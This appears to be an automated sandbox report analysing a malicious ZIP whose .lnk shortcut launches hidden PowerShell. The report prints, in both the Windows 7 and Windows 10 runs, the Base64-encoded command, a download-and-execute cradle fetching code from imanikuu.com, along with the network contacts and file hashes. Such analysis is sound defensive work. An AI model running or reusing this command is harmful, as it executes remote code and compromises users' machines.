Malware Analysis Report

2024-11-13 13:51

Sample ID 240405-r5m83afc49
Target DOC1718 - 17181718.zip
SHA256 b735e0755789edf539cff7e83d3f954f6768d246fcdb72d86bc21ef77c747db7
Tags
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

b735e0755789edf539cff7e83d3f954f6768d246fcdb72d86bc21ef77c747db7

Threat Level: Likely malicious

The file DOC1718 - 17181718.zip was found to be: Likely malicious.

Malicious Activity Summary


Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 14:46

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 14:46

Reported

2024-04-05 14:49

Platform

win7-20240221-en

Max time kernel

121s

Max time network

122s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1660 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1660 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1660 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2596-38-0x000000001B4B0000-0x000000001B792000-memory.dmp

memory/2596-39-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

memory/2596-40-0x0000000002C50000-0x0000000002CD0000-memory.dmp

memory/2596-42-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

memory/2596-43-0x0000000002C50000-0x0000000002CD0000-memory.dmp

memory/2596-44-0x0000000002C50000-0x0000000002CD0000-memory.dmp

memory/2596-41-0x0000000001E60000-0x0000000001E68000-memory.dmp

memory/2596-45-0x0000000002C50000-0x0000000002CD0000-memory.dmp

memory/2596-46-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 14:46

Reported

2024-04-05 14:49

Platform

win10v2004-20240226-en

Max time kernel

149s

Max time network

155s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4516 wrote to memory of 512 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4516 wrote to memory of 512 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 121.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 24.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 78.239.69.13.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tmelmvp0.pgw.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/512-7-0x0000024535400000-0x0000024535422000-memory.dmp

memory/512-12-0x00007FF969870000-0x00007FF96A331000-memory.dmp

memory/512-14-0x00000245332C0000-0x00000245332D0000-memory.dmp

memory/512-13-0x00000245332C0000-0x00000245332D0000-memory.dmp

memory/512-15-0x00000245332C0000-0x00000245332D0000-memory.dmp

memory/512-16-0x00000245332C0000-0x00000245332D0000-memory.dmp

memory/512-19-0x00007FF969870000-0x00007FF96A331000-memory.dmp